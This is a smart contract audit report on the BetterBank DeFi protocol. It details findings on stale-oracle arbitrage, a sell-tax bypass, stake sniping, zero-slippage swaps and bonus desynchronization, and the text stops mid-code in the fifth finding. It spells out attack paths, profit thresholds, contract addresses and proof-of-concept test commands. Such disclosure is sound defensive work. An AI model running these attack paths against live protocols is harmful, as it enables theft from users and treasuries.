FAILSAFE

Prepared for
Nicky Noordzij
BetterBank

Prepared by
Ari Medvinsky
FailSafe

22nd October 2025

BetterBank

Smart Contract Audit Report

Table of Contents

Executive Summary

FailSafe was engaged by the BetterBank team to conduct an elite security review of their DeFi protocol on PulseChain, implementing a tokenized banking system with Esteem and Favor. The engagement (Sept 15–23, 2025) covered 11 smart contracts spanning core banking logic, oracle integrations, staking, and liquidity systems. The BetterBank team was highly responsive and collaborative, providing thorough documentation and engaging deeply on complex attack surfaces.

The review surfaced several high-signal issues characteristic of modern DeFi complexity. Most notably, we confirmed a stale-oracle exposure with a 15.1% Oracle < DEX gap on Sept 11, 2025, showing how composite pricing (TWAP Favor/PLS × stale PLS/USD) inherits and amplifies staleness across layers. We also demonstrated that EOA secondary markets can reduce effective sell friction from 50% to ~5%, materially changing arbitrage economics and making otherwise marginal opportunities viable during volatility. Additional findings included stake sniping at epoch boundaries (instantaneous snapshot with no time-weighting) and a fee-on-transfer DoS in Zapper flows, further illustrating cross-component interdependencies. Governance-wise, several privileged operations currently execute instantly; we provide a timelock appendix for queue/delay/cancel hardening.

Project Details

Project	BetterBank
URL	https://www.betterbank.io/
Source Code	https://github.com/grape-finance/BB-Custom-contracts/tree/audit_freeze/contracts
Initial Commit	43fba5ed6a5f47d6ae997660a7fe656c57f44b30
Final Commit	1b3acabbf39346ee68fba76cd099cc40b114544f
	43fba5ed6a5f47d6ae997660a7fe656c57f44b30
	031b95cb70836ddc403d897936d67e361e271d9f
	bba03d42195f3b72bb67bfb91993ab10b2ed2f6e
Timeline	Initial Report - 15th September 2025 - 23rd September 2025
	Final Report - 22nd October 2025

Structure & Organization of Audit Report

Issues are tagged as "Open", "Acknowledged", "Partially Resolved", "Resolved" or "Closed" depending on whether they have been fixed or addressed.

- Open: The issue has been reported and is awaiting remediation from developer team.
- Acknowledged: The developer team has reviewed and accepted the issue but has decided not to fix it.
- Partially Resolved: Mitigations have been applied, yet some risks or gaps still remain.
- Resolved: The issue has been fully addressed and no further work is necessary.
- Closed: The issue is deemed no longer pertinent or actionable.

Furthermore, the severity of each issue is written as assessed by the risk of exploitation or other unexpected or otherwise unsafe behavior:

✖ **Critical**	The issue affects the Smart Contract in such a way that funds may be lost, allocated incorrectly, or otherwise result in a significant loss.
! **High**	The issue affects the ability of the Smart Contract to compile or operate in a significant way.
! **Medium**	The issue affects the ability of the Smart Contract to operate in a way that doesn't significantly hinder its behavior.
! **Low**	The issue has minimal impact on the Smart Contract's ability to operate.
i **Info**	The issue is informational in nature and does not pose any direct risk to the Smart Contract's operation.

Project Goals

1. Security Assurance

Ensure the BetterBank smart contracts are free of critical vulnerabilities and follow industry-standard security best practices (e.g., SWC Registry, OpenZeppelin guidelines).

2. Functional Correctness

Verify that the contracts behave as intended according to the BetterBank protocol specification, including proper handling of edge cases and failure modes for investment, withdrawal, and yield accrual.

3. Gas Optimization

Review the contracts for inefficient logic or high gas-consuming operations and provide suggestions to optimize transaction costs for users and protocol operators.

4. Access Control & Privileges

Analyze the roles and permissions within the contracts to prevent unauthorized actions, privilege escalations, or accidental lockouts, with a focus on the allowlist, admin roles, and pausing mechanisms.

5. Upgradability & Maintainability

Evaluate the contracts' upgradeability and maintainability, especially regarding proxy patterns, modular architecture, and future extensibility.

6. Compliance & Documentation

Ensure that the contracts are well-documented, follow Solidity development conventions, and provide clear, accessible documentation for future developers and auditors.

7. Reporting & Remediation Guidance

Deliver a detailed audit report categorizing all findings and recommending steps for remediation, along with a final verification round post-fix to ensure all issues are addressed.

Audit Methodology

FailSafe employs a multi-layered approach to Smart Contract security audits:

Threat Modelling: We identify critical assets, enumerate potential threats, assess vulnerabilities, and prioritize risks based on severity and impact.

Manual Code Review: Our experts conduct a detailed, line-by-line review of the code, analyzing business logic, access controls, gas efficiency, and external dependencies.

Functional Testing: Using frameworks like Hardhat and Foundry, we perform comprehensive functional and integration tests to ensure correct and secure Smart Contract behavior.

Fuzzing & Invariant Testing: Advanced techniques such as fuzzing and invariant testing are used to uncover hidden vulnerabilities and verify Smart Contract consistency under diverse scenarios.

Edge Case Analysis: We rigorously test for extreme inputs, exception handling, concurrency, and non-standard scenarios to ensure robust Smart Contract performance.

Reporting & Recommendations: Our reports clearly describe each issue, its impact, location, root cause, and provide actionable remediation steps and best practice guidelines.

Remediation Support: We work closely with your team to implement and validate fixes, followed by a final assessment to confirm all issues are resolved.

FailSafe's process ensures your Smart Contracts are secure from initial deployment through ongoing operation, providing proactive and comprehensive protection.

In-scope Files

- /contracts/Epoch.sol
- /contracts/Esteem.sol
- /contracts/Favor.sol
- /contracts/FavorTreasury.sol
- /contracts/LPOracle.sol
- /contracts/MinterOracle.sol
- /contracts/PulseMinter.sol
- /contracts/Staking..sol

- /contracts/UniTWAPOracle..sol
- /contracts/Zapper.sol
- /contracts/usingFetch/usingFetch.sol

Summary of Findings

Severity	Total	Open	Acknowledged	Partially Resolved	Resolved	Closed
Critical	-	-	-	-	-	-
High	7	-	-	1	6	-
Medium	1	-	1	-	-	-
Low	3	-	1	-	2	-
Info	-	-	-	-	-	-
Total	11	0	2	1	8	0

#	Findings	Severity	Status
1	BetterBank Stale Oracle - PLSUSD Sept 11, 2025 (15.1% Gap)	High	Resolved
2	Favor Sell-Bypass via EOA Market (Economic and Technical Analysis)	High	Resolved
3	Stake sniping at epoch boundaries (instant snapshot, no time-weighting)	High	Resolved
4	Zapper lacks slippage protection on swaps and LP adds	High	Resolved
5	Favor Bonus Desynchronization (TWAP gate vs stale USD sizing)	High	Resolved
6	Privileged control without timelock	High	Partially Resolved
7	LPZapper Global Dust Sweep via `\_refundDust` drains all ETH and all `dustTokens` balances to caller	High	Resolved
8	Zapper DoS with fee-on-transfer (FOT) tokens	Medium	Acknowledged
9	Unchecked ERC-20 returns in Zapper add-liquidity flows	Low	Resolved
10	Reentrancy surfaces in Zapper flows (defense-in-depth)	Low	Resolved
11	UsingFetch idMappingContract uninitialized (breaks IERC2362.valueFor)	Low	Acknowledged

Finding 1: BetterBank Stale Oracle - PLS/USD Sept 11, 2025 (15.1% Gap)

Severity: ● High

Status: Resolved

Description:

Preconditions:

- External conditions:
  - Oracle integration queries Fetch Protocol with a 20-minute cutoff; prices are at least 20 minutes old and may be up to ~24 hours old.
  - Market volatility creates divergence between stale oracle prices and live DEX prices.
  - Favor sells to contracts incur up to 50% sell tax; EOA<->EOA secondary market can charge ~5% instead.

Threat model: An unprivileged EOA can exploit the structural lag between Oracle and DEX by minting/redeeming using the composite price path (TWAP Favor/PLS x stale PLS/USD). Consumers accept the number with no freshness or deviation enforcement.

Mechanics:

- PLS/USD via Fetch: `getDataBefore(queryId, now - 20 minutes)` guarantees the returned price is at least 20 minutes old.
- Favor/USD: `favorUsd = TWAP(Favor/PLS) x stale(PLS/USD)`; composition inherits staleness of the USD leg.
- Mint path: `normalized(amount) x price / esteemRate` over-mints Esteem when `price` is stale-high.
- Redeem path: `esteemToFavor = esteemAmount x esteemRate / favorUsd` (then x 70%) over-redeems Favor when `favorUsd` is stale-low.
- Realization: Advantage is realized at live DEX prices; the delta between stale Oracle and live DEX is crystallized in the exit.
- BetterBank's pricing relies on a Fetch Protocol oracle queried with a 20-minute cutoff. During volatility, this creates a stale price that can materially diverge from real-time DEX pricing.
- On Sept 11, 2025 at block `24482198`, we observed a confirmed 15.1% Oracle < DEX gap for PLS/USD, using both our JavaScript scanner and Solidity verification on a historical fork.

- While the 15.1% gap was not profitable under the current 70% redemption and 50% Favor sell tax, such volatility is a strong indicator of systemic exposure. With lower sell friction (e.g., an EOA second-hand market fee ~5%) or larger gaps, profitability is achievable.

Administrator delay/cancel window: Not applicable; this is a consumer-side freshness policy gap (no admin queue to cancel). The lack of `maxAge`/deviation checks removes the administrative ability to block execution during divergence.

Affected components:

- `MinterOracle` (USD path staleness; FavorUSD composition)
- `PulseMinter` (issuance/redemption math consumes stale numbers)
- `Favor` (sell tax materially impacts realized PnL and break-even)
- EOA sell-bypass mechanics: An attacker can sell Favor peer-to-peer to a market-maker EOA instead of a contract router. Because the destination is an EOA, the "sell to contracts" tax path (up to 50%) is not triggered. Settlement occurs off-chain (RFQ/chat) with on-chain EOA<->EOA transfer and payment in PLS/stable at a quoted price plus a fixed fee (e.g., ~5%). Custody remains with the attacker's EOA until settlement; no DEX router call is required.

Economics at Sept 11 (15.1% gap):

- Let `gap` be Oracle underpricing vs DEX on a $10,000 trade:
  - Arbitrage leg: `$10,000 x (1 + 0.151) = $11,510`
  - Redemption: \inlinecode{x 70% = $8,057}
  - Current sell friction (Favor sell to contracts): \inlinecode{x 50% = $4,028.50} -> -59.7% vs initial.
- Observed end-to-end loss in our historical test was larger (~-82.5%) due to on-chain transfers and rounding across legs. The above illustrates economic drag from taxes even at 15.1% gap.
- With EOA second-hand market (5% fee instead of 50% sell tax):
  `$10,000 x 1.151 x 0.70 x 0.95 = $7,654.15` -> -23.5%.
- Break-even gap (closed-form):
  - With sell fee `f`, net multiplier = `0.70 x (1 - f)`; profit when `(1 + gap) x 0.70 x (1 - f) >= 1`.
  - 50% tax: \inlinecode{gap_BE = 1/0.35 - 1 = 185.71%}.
  - 5% fee EOA market: \inlinecode{gap_BE = 1/0.665 - 1 = 50.38%}.

Detailed analysis:

- Oracle staleness policy: Fetch `getDataBefore(queryId, now - 20 minutes)` guarantees data age >=20 minutes; loose upper bound around 24h.
- Consumer behavior: PulseMinter accepts the numerical price with no timestamp validation or deviation guard; quantity minted/redeemed is determined directly from the stale value.
- Execution path (unprivileged):
  1) EOA mints with PLS; mint amount proportional to stale PLS/USD.
  2) EOA redeems to Favor; Favor amount proportional to 1 / stale FavorUSD x 70%.
  3) EOA exits at DEX pricing, paying prevailing sell friction (50% to contracts; ~5% in EOA market).

Impact:

Systematic stale pricing during volatility can lead to over-issuance on mint/redeem and value leakage when realized at DEX prices. The risk scales up with larger market moves and with the emergence of lower-friction secondary routes (EOA markets) for Favor/USD. Scope: Protocol-wide, time-bounded to stale windows (>=20 minutes; up to ~24h).

Code:

```
Oracle staleness policy: Fetch getDataBefore(queryId, now - 20 minutes) guarantees data age >=20
    minutes; loose upper bound around 24h.
Consumer behavior: PulseMinter accepts the numerical price with no timestamp validation or deviation
    guard; quantity minted/redeemed is determined directly from the stale value.
```

Proof of Concept:

JavaScript scanner:

- Script: `docs_final_proof/historical_opportunity_analyzer.js`
- Result file: `docs_final_proof/foundry_pls_usd_opportunities_sept11.json`
- Sept 11, 2025, block `24482198`:
  - Oracle (Fetch): `0.00003698` USD/PLS
  - DEX (USDC/WPLS): `0.000042557674479024 51` USD/PLS
  - Price gap: \inlinecode{(DEX - Oracle) / Oracle ~ 15.0829%}

Solidity verification (historical fork at the target block)

- Test: `docs_final_proof/HistoricalOracleExploit.t.sol` (price-verification section)
- At block `24482198`, fetched on-chain prices and computed the gap:
  - Oracle (wei): `36980000000000`

  - DEX (wei): `42557674479024`
  - Derived gap: ~15% (verified match to scanner's 15.1%)

Addresses and references

- Fetch Oracle: `0xCe9DEa26eB6bEaEc73CFf3BACdF3F9e42BB89951`
- USDC/WPLS LP: `0x6753560538ECa67617A9Ce605178F788bE7E524E`
- Favor/PLS LP: `0xdca85EFDCe177b24DE8B17811cEC007FE5098586`
- Target block: `24482198` (2025-09-11 21:18 UTC)

How to run

- node: `node docs_final_proof/historical_opportunity_analyzer.js --usd-arbitrage`
- forge: `forge test --match-path docs_final_proof/HistoricalOracleExploit.t.sol`

Related findings

- `favor_sell_bypass_eoa_market.md`
- `favor_bonus_desync.md`

Remediation:

Priority 0 (must-do): - Enforce strict `maxAge` (e.g., 60-180s) on all consumed prices; reject older data. - Return `(price, timestamp)` from price APIs; require downstream enforcement of `maxAge`.

Priority 1 (should-do): - Deviation guards vs DEX TWAP / median-of-sources; pause or reject when deviation > threshold. - Circuit breakers to halt mint/redeem on stale or extreme deviations.

Priority 2 (nice-to-have): - Per-epoch issuance/redeem caps while oracles are degraded. - Monitoring & alerting on age and deviation metrics.

Source:

- `src/MinterOracle.sol`: `getPlsSpotPrice()` — Builds `SpotPrice("pls","usd")`, calls `getDataBefore(queryId, now - 20 minutes)`, returns 18-dec USD/PLS (stale by design).
- `src/MinterOracle.sol`: `getfPLSSpotPrice()` — `favorUsd = twapFavorInPls x plsUsd` (TWAP Favor/PLS x stale PLS/USD).

- `src/PulseMinter.sol`: `getLatestTokenPrice(token)` — Routes to `IMasterOracle.getLatestPrice(token)`; only requires `> 0`.
- `src/PulseMinter.sol`: `_calculateEsteemMint(amount, token)` — `normalized(amount) x price / esteemRate` -> over-mints if USD price is stale-high.
- `src/PulseMinter.sol`: `_calculateRedeemAmounts(esteemAmount, favorToken)` — `esteemToFavor = esteemAmount x esteemRate / favorUsd`, then \inlinecode{x redeemRate (70%)} -> over-redeems Favor if `favorUsd` is stale-low.
- `src/Favor.sol`: `_update(from, to, value)` — Applies up to 50% sell tax on transfers to contracts; EOAs can avoid via secondary market.

Developer Response:

Fixed via deviation guards. verified in 1b3acabbf39346ee68fba76cd099cc40b114544f

Finding 2: Favor Sell-Bypass via EOA Market (Economic and Technical Analysis)

Severity: ● High

Status: Resolved

Description:

Preconditions:

- Policy: Transfers to contracts are taxed up to 50%; EOA<->EOA transfers are not taxed.
- Market: Presence of EOA market-makers willing to provide two-sided liquidity (buy/sell Favor) for a fee/spread (e.g., ~5%).
- Operations: Settlement can be coordinated off-chain (RFQ/chat) with on-chain EOA<->EOA transfers and payments.

Intended model vs observed behavior

- Intended: Any transfer to a contract is a "sell," taxed up to 50% and paid to the treasury.
- Observed: Tax is only applied when the destination is a contract (`address.code.length > 0` at transfer time). EOA<->EOA transfers are never taxed.
- Result: Favor can be monetized peer-to-peer (EOA<->EOA) via market-maker desks, avoiding the contract sell tax entirely.

Technical basis

- Favor `_update(_from, _to, _value)` applies tax when `destinationIsContract = (_to.code.length != 0)`.
- EOA settlement does not invoke a contract recipient; no tax is triggered.
- CREATE2 "pre-deployment" transfer is a separate, narrower bypass (see supporting test), but the primary economic risk is the EOA secondary market which continuously avoids the 50% path at exit.

Tokenomics of the EOA sell-bypass market

Roles and flows

- Attacker EOA: Holds Favor obtained via the mint->redeem chain.
- Market-maker EOA: Quotes a buy price for Favor in PLS/USDC and charges fee `f` (e.g., 5%).
- Settlement: On-chain transfer Favor EOA->EOA, and payment PLS/USDC EOA->EOA. No contract recipient -> no 50% sell tax.

ASCII flow (simplified)

```
Attacker EOA                    Market-maker EOA                    Buyer EOA          DEX (rare)
    | 1) RFQ for sale                  |                               |                     |
    |--------------------------------->|                               |                     |
    |                                  |                               |                     |
    | 2) Send FAVOR (EOA->EOA)         |                               |                     |
    |--------------------------------->|  (no contract recipient ->    |                     |
    |                                  |   no 50% sell tax applied)    |                     |
    |                                  |                               |                     |
    | 3) Receive PLS/USDC <----------  |                               |                     |
    |    (EOA->EOA payment)            |                               |                     |
    |                                  | 3b) Resell FAVOR ------------>|  (EOA->EOA, no tax) |
    |                                  |   (fee/spread applied)        |                     |
    |                                  |                               |                     |
    |                                  | 4) Optional hedge/net ------->|-------------------->| (only if needed;
    |                                  |   /netting/settlement         |                     |  costs priced in)
```

Practical economics overview

- $10,000 example with a 5% fee/spread structure (seller discount + small buyer discount):
  1) Maker pays the seller (attacker) $9,500 (5% below DEX) and receives $10,000 worth of Favor.
  2) Maker resells that Favor to a buyer EOA for $9,900 (~1% below DEX; attractive vs DEX at $10,000).
  3) Maker spread = $9,900 - $9,500 = $400, which covers rare DEX hedges and operating margin. Neither leg touches a contract router, so no 50% tax triggers.
  4) If occasionally 10% of volume must exit via DEX (taxed), expected exit cost ~ 10% x 50% = 5%; a ~5% effective fee/spread roughly breaks even. Slightly widening the spread makes the desk solvent on average.

Pricing bands and reservation prices

- Let `P_dex` be the current DEX reference price for Favor.
- Seller reservation price: `P_min_seller ~ 0.50 x P_dex` (selling to a contract implies a 50% tax). Any price above this beats the taxed outcome.
- Maker bid: set above `0.50 x P_dex` and below `P_dex` to cover fee/risk.
- Maker ask: a small discount vs `P_dex` (attractive vs DEX; still EOA->EOA so no tax).
- Spread finances rare DEX hedges and operating margin; sustainability requires the fee/spread cover expected exit costs.

Key thresholds

- With 50% contract sell tax, break-even requires ~186% edge.
- With a 5% EOA fee instead of tax, break-even drops to ~50%.

- Makers remain solvent with small fee/spreads and two-sided EOA flow (rare DEX hedges priced in).

Implications

- Even if the maker occasionally pays tax/slippage on exits, cost is diluted across flow and recovered via fees/spread. The attacker reliably avoids the 50% hit at exit, lowering arbitrage thresholds.
- Treasury's expected tax revenue from contract sells is reduced proportionally to EOA-settled volume.

Two-sided flow (why the maker doesn't run out of PLS/USDC)

- "Two-sided" desks consistently see both EOA sellers and EOA buyers. Favor from sellers matches to buyers; PLS/USDC paid to sellers is replenished by buyers.
- The fee/spread (e.g., ~5%) covers rare DEX hedges (and their slippage/tax if any) and provides operating margin. With sufficient EOA buyers, most volume never touches a taxed contract path.

Threat scenarios and variants

- RFQ/OTC desks operating as EOAs; internal netting + periodic hedging.
- MEV-bundled EOA settlements to minimize exposure.
- Pooled EOA liquidity to deepen secondary market without touching routers.
- Whitelisted/exempt endpoints (if any) abused as synthetic exits.

Impact:

Direct treasury revenue loss; undermines policy intent; normalizes tax-free exits

Code:

```
Favor _update(_from, _to, _value) applies tax when destinationIsContract = (_to.code.length != 0).
EOA settlement does not invoke a contract recipient; no tax is triggered.
```

Proof of Concept:

Quantitative illustration (example inputs): `N = $10,000`, `g = 0.151` (15.1% edge), `r = 0.70`.

- With 50% tax: `N_final = 10000 x 1.151 x 0.70 x 0.50 = $4,028.50` (loss).
- With 5% fee: `N_final = 10000 x 1.151 x 0.70 x 0.95 = $7,654.15` (-23.5%).
- Break-even with 5% fee: \inlinecode{g_BE ~ 50.38%}.

Supporting test for narrow technical bypass: `docs_final_proof/narrowBypassCreate2.t.sol`

Related findings:

- `1_stale_oracle_pls_usd_sept11.md` (EOA market lowers break-even in stale-oracle scenarios)
- `favor_bonus_desync.md`

Remediation:

- Do not rely on `address.code.length` to impose "sell" semantics.
- Apply taxation at defined sell endpoints (allowlist of routers/pairs/bridges) and enforce via transfer-restrictions or permit-gated flows.
- Consider taxing when either party is a contract (to/from), with tight exemptions (treasury, wrappers) if consistent with business logic.
- Add oracle freshness and deviation guards (ties to stale-oracle finding); add circuit breakers for extreme divergence.
- Monitoring/alerting on large EOA<->EOA Favor flows indicative of off-chain market settlement.

Source:

- `src/Favor.sol`: `_update(from, to, value)` — Applies "sell" tax when destination is a contract (`to.code.length != 0`); EOA destinations are untaxed.

Developer Response:

This does not counteract protocol design in the slightest. The stated intent is misread. We do not seek to get taxes from anything else but from the sells into our main market pair. We have blocked transfers to other contracts purely as an extra defence layer against attacks, nothing else. The Favor Token has no supported use outside of our system and to our system it is irrelevant how a holder came by said Favor token. Anyone is completely free to transfer a Favor token from wallet to wallet or from person to person, either freely or via an OTC or CEX deal. The BetterBank system exclusively uses oracles that read the price of Favor from the main market pair, so no out-of-system trading will affect the system. In addition though, we think that the buyer for such an OTC or CEX deal would be at a strong disadvantage unless they paid less than 60% of the current Favor price, because they would not receive the Esteem bonus they'd get if they bought via our system.

Auditor Response:

Developer removed the 50% tax. Commit 43fba5ed6a5f47d6ae997660a7fe656c57f44b30

Finding 3: Stake sniping at epoch boundaries (instant snapshot, no time-weighting)

Severity: ❗ High

Status: Resolved

Description:

Preconditions:

- Rewards are allocated once per epoch via a public call after `nextEpochPoint()`.
- Snapshot is instantaneous and strictly proportional to balances at allocation time.
- No time-weighting, lock, or cooldown on claim/withdraw.

Rewards are distributed once per epoch when anyone calls the treasury allocation after `nextEpochPoint`. At that instant, the Grove takes a snapshot and allocates the entire epoch's rewards pro-rata to balances at that moment. There is no time-weighting, lock or cooldown. An attacker can repeatedly stake immediately after the epoch opens, trigger allocation, claim, and withdraw—capturing a material share of each epoch's rewards with only seconds of exposure. This is an economic/design risk (fairness, dilution), not an above-proportional payout bug.

User journey (stake sniping simplified)

- Setup: Epoch = 1h. At time T, a new epoch opens. Alice has 100 ESTEEM staked. Bob holds 50 ESTEEM off-chain.
- T+1s: Bob stakes 50. Bob immediately calls `FavorTreasury.allocateSeigniorage()`.
- Snapshot: Total staked = 150. Treasury sends E (e.g., 900 FAVOR). Grove records `rewardPerShare += 900/150`. Alice earns 600, Bob earns 300.
- Exit: Bob calls `claimReward()` (gets 300 FAVOR) and withdraws 50 ESTEEM. He was staked for seconds yet captured 33.33% this epoch.
- Repeat: Next epoch, Bob repeats to capture ~A/(S+A) with minimal time in-market.

Execution path (attacker timing)

- At `nextEpochPoint`, attacker stakes a large amount.
- Immediately triggers `FavorTreasury.allocateSeigniorage()` (public after time gate).
- Grove snapshots and allocates `amount * balance/totalSupply` at that instant.
- Attacker claims and withdraws, then repeats next epoch.

Clarification: Payouts remain strictly proportional to balance fraction at snapshot time. The risk is economic fairness and dilution of long-term stakers due to zero time-weighting/lock, not above-proportional extraction.

Impact:

Dilution: Short-term participants can capture a meaningful share of each epoch with negligible time exposure. MEV/operational: Competitive races to trigger allocation at epoch boundaries; unpredictable distributions.

Code:

```
modifier checkEpoch {
    require(block.timestamp >= nextEpochPoint(), "Treasury: not opened yet");
    _;
    epoch = epoch + 1;
}

function allocateSeigniorage(uint256 amount) external nonReentrant whenNotPaused {
    require(msg.sender == owner() || msg.sender == treasuryOperator, "Not authorized");
    require(amount > 0, "Grove: Cannot allocate 0");
    require(totalSupply() > 0, "Grove: Cannot allocate when totalSupply is 0");
    uint256 prevRPS = getLatestSnapshot().rewardPerShare;
    uint256 nextRPS = prevRPS + ((amount * 1e18) / totalSupply());
    historyEnd += 1;
    groveHistory[historyEnd] = GroveSnapshot({ time: block.timestamp, rewardReceived: amount,
    rewardPerShare: nextRPS });
    ...
}

function withdraw(uint256 amount) public override nonReentrant groveUserExists updateReward(msg.sender
    ) whenNotPaused {
    require(amount > 0, "Grove: Cannot withdraw 0");
    claimReward();
    super.withdraw(amount);
    emit Withdrawn(msg.sender, amount);
}

function earned(address groveUser) public view returns (uint256) {
    uint256 latestRPS = getLatestSnapshot().rewardPerShare;
    uint256 storedRPS = getLastSnapshotOf(groveUser).rewardPerShare;
    return (balanceOf(groveUser) * (latestRPS - storedRPS)) / 1e18 + grovers[groveUser].rewardEarned;
}
```

Remediation:

- Epoch eligibility lock: Only balances staked before the epoch boundary are eligible for that epoch's rewards.
- Time-weighted accrual (TWAS): Use time-weighted average stake over the prior epoch instead of instantaneous `totalSupply`.
- Two-phase snapshot: Freeze eligible supply at the end of the previous epoch; allocate next epoch against that frozen set.
- Controlled/obfuscated trigger: Restrict allocation to an operator/automation and randomize execution within a window (must be paired with eligibility rules to be effective).

Source:

- `src/FavorTreasury.sol`: `allocateSeigniorage()` — Publicly triggerable after `nextEpochPoint()` time gate (epoch increment on call).
- `src/Staking.sol` (Grove): `allocateSeigniorage(uint256)` — Takes instantaneous snapshot; allocates `amount * 1e18 / totalSupply` to `rewardPerShare`.
- `src/Staking.sol`: `withdraw(uint256)` — Claims reward then withdraws; no lock/cooldown.
- `src/Staking.sol`: `earned(address)` — Strictly pro-rata vs last and latest snapshots (no time-weighting).

Developer Response:

Implemented a 2 epoch minimum lock for stakers. Part of gamification of system is rapid movement between groves to favor max yield. Within the system the only usecase of Esteem is to be staked in a grove and/or moved from grove to grove.

Auditor Response:

Fixed with 2-epoch lock for stackers in 031b95cb70836ddc403d897936d67e361e271d9f. The remainder is by design.

Finding 4: Zapper lacks slippage protection on swaps and LP adds

Severity: ❗ High

Status: Resolved

Description:

Preconditions:

- Trades occur on public mempool, subject to reordering and volatility.
- Zapper exposes no user-configurable minOut/min-amount parameters.
- `_swap` only checks `got > 0` after the router call.

What: Zapper performs swaps with `amountOutMin = 0` and adds liquidity with `amountAMin = 0`, `amountBMin = 0`. No user-configurable slippage bounds are exposed. The only post-swap check is `got > 0`.

Why it matters: In volatile markets (and public mempool), this allows execution at any price, violating DeFi best practices and exposing users to severe slippage. Min-amount fields are the standard on-chain guardrails.

Code points (for quick review):

- `_swap`: `router.swapExactTokensForTokensSupportingFeeOnTransferTokens(_amount, 0, path, address(this), _deadline);`
- `_addLiquidity`: `router.addLiquidity(a, b, aAmt, bAmt, 0, 0, to, dl);`
- Flows: `buyTo`, `sellTo`, `zapToken/_zapToken` all rely on `_swap` and `_addLiquidity` with zero mins.

Impact:

Users can be filled at arbitrarily poor prices during volatility or MEV reordering; LP adds accept any pool price. This deviates from standard DeFi safety practices (minOut and min amounts) and can cause significant value loss.

Code:

```
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
    _amount,
    0,
    path,
    address(this),
    _deadline
);

```

```
function _addLiquidity(
    address a,
    address b,
    uint256 aAmt,
    uint256 bAmt,
    address to,
    uint256 dl
) internal {
    IERC20(a).approve(address(router), aAmt);
    IERC20(b).approve(address(router), bAmt);
    router.addLiquidity(a, b, aAmt, bAmt, 0, 0, to, dl);
}

uint256 bought = _swap(_base, favor, _amount, _deadline);

uint256 taxSold = _swap(_favor, base, tax, _deadline);
...
uint256 userSold = _swap(_favor, base, _amount - tax, _deadline);

uint256 balFavor = _swap(_token, favor, half, _deadline);
...
_addLiquidity(_token, favor, half, balFavor, address(this), _deadline);
```

Proof of Concept:

Affected code references (relative):

- `src/Zapper.sol`: `_swap` (zero `amountOutMin`), `_addLiquidity` (zero min amounts), `zapToken/_zapToken`, `buyTo`, `sellTo`.

Repro checklist (no custom test required):

- Preconditions: pick a volatile period or thin liquidity; ensure the base token and Favor listing exist in Zapper mappings.
- Call: `buyTo(receiver, baseToken, amount, deadline)` (or `zapToken`) with any `amount`.
- Expect: trade executes with `amountOutMin = 0`; observe received Favor or LP tokens can be materially below an expected min; no revert occurs because only `got > 0` is enforced.
- Verify: compare on-chain result vs a chosen min-out threshold; observe `(0,0)` on `addLiquidity` accepts any pool price.

Remediation:

Swaps: expose a user-provided `minOut` (or slippage bps) and enforce `got >= minOut` in `_swap`. Zaps: compute expected amounts via `router.getAmountsOut` and apply a user slippage tolerance for both the swap and `addLiquidity` (`amountAMin`, `amountBMin`). Avoid passing `(0,0)`. Sells with tax: apply the same min-out checks on both tax and user legs to avoid silent value loss on treasury/user flows. UI: optionally offer private orderflow (e.g., MEV-blocker relays) as an additional protection.

Source:

- `src/Zapper.sol`: `_swap(...)` — calls `router.swapExactTokensForTokensSupportingFeeOnTransferTokens` with `amountOutMin = 0`.
- `src/Zapper.sol`: `_addLiquidity(a,b,aAmt,bAmt,to,dl)` — calls `router.addLiquidity(a, b, aAmt, bAmt, 0, 0, to, dl)` (no min amounts).
- `src/Zapper.sol`: user flows that inherit zero slippage bounds:
  - `buyTo(...)` -> `uint256 bought = _swap(_base, favor, _amount, _deadline);`
  - `sellTo(...)` -> uses `_swap` for both tax and user legs (both lack minOut).
  - `zapToken(...)` / `_zapToken(...)` -> swap + addLiquidity with `(0,0)` mins.

Developer Response:

slippage protection added via _amountOutMin user input. Additional Note zapToken() does not need explicit slippage protection, as it sells 50% and instantly adds to LP. If user wants slippage protection, he can use buy() and then add liquidity and _zapToken() is internal. So acknowledged for zapToken function specifically and fixed for the swaps and manual LP adds.

Auditor Response:

Fixed in 031b95cb70836ddc403d897936d67e361e271d9f Slippage protection implemented for buy(), buyTo(), sell(), and sellTo() via _amountOutMin. Concur with developer that zapToken() does not need explicit slippage protection

Finding 5: Favor Bonus Desynchronization (TWAP gate vs stale USD sizing)

Severity: ❗ High

Status: Resolved

Description:

Preconditions:

- TWAP gate condition satisfied: `getLatestTokenTWAP(Favor) < 3e18` (bonus enabled at current block).
- Buy path routes through whitelisted BuyWrapper (Zapper) which calls `favor.logBuy(user, amount)` immediately after the swap.
- USD spot (via Fetch Protocol) can be >=20 minutes old and up to ~24 hours old at `MinterOracle`.
- Market has moved recently (e.g., last 20–40 minutes; double-lag possible), making USD spot stale-high vs live DEX.

What happens: When a user buys Favor via the protocol's Zapper, the swap executes at live DEX price. Zapper then calls `logBuy`, which applies a TWAP gate to decide if any bonus should be paid now, and sizes that bonus using a USD spot price that can be 20-1440 minutes old. If USD has moved up recently, this stale-high price overvalues the purchase and mints extra Esteem (to the user's pending balance and to the treasury) with no clawback. An attacker can deliberately time buys during these windows and repeat the process.

Why: `getLatestTokenTWAP` (gate) and `getLatestTokenPrice` (size) come from different time domains with no freshness or deviation checks; Favor USD is computed as TWAP(Favor/PLS) x Fetch(PLS/USD).

Mechanics (key code paths):

- `calculateFavorBonuses`: TWAP < threshold -> compute USD value via stale USD spot; convert USD to Esteem using `esteemRate`; treasury bonus is a % of user bonus.
- `logBuy`: increments `pendingBonus[user]` and mints treasury Esteem immediately.
- `MinterOracle`: USD spot via Fetch `getDataBefore(now - 20 minutes)`, with 24h max-age; Favor USD = TWAP x USD spot.

Impact:

Inflationary minting of Esteem via the buy-bonus path (user pending + treasury mint) beyond intended economics; repeatable while stale-high persists. No clawback; dilution accumulates and can be converted into value via staking/redemption paths subject to oracles.

Code:

```
function calculateFavorBonuses(uint256 _amount) public view returns (uint256 userBonus_, uint256
    treasuryBonus_) {

    uint256 twap = priceProvider.getLatestTokenTWAP(address(this));

    // No bonus if TWAP is at or above 3.00
    if (twap >= BONUS_TWAP_THRESHOLD) return (0, 0);

    uint256 favorPrice = priceProvider.getLatestTokenPrice(address(this)); // Favor price in USD as 18
     Decimals

    // Compute USD value of the amount (also 18 decimals)
    uint256 usdBuyAmount = (_amount * favorPrice) / 1e18;

    // Calculate bonus amount in USD value
    uint256 bonusAmount = (usdBuyAmount * bonusRate) / MULTIPLIER;

    // Get esteem token price in USD (18 decimals)
    uint256 rate = priceProvider.esteemRate();
    require(rate > 0, "Invalid Esteem rate");

    // Convert USD bonus amount to esteem tokens
    userBonus_ = (bonusAmount * 1e18) / rate;

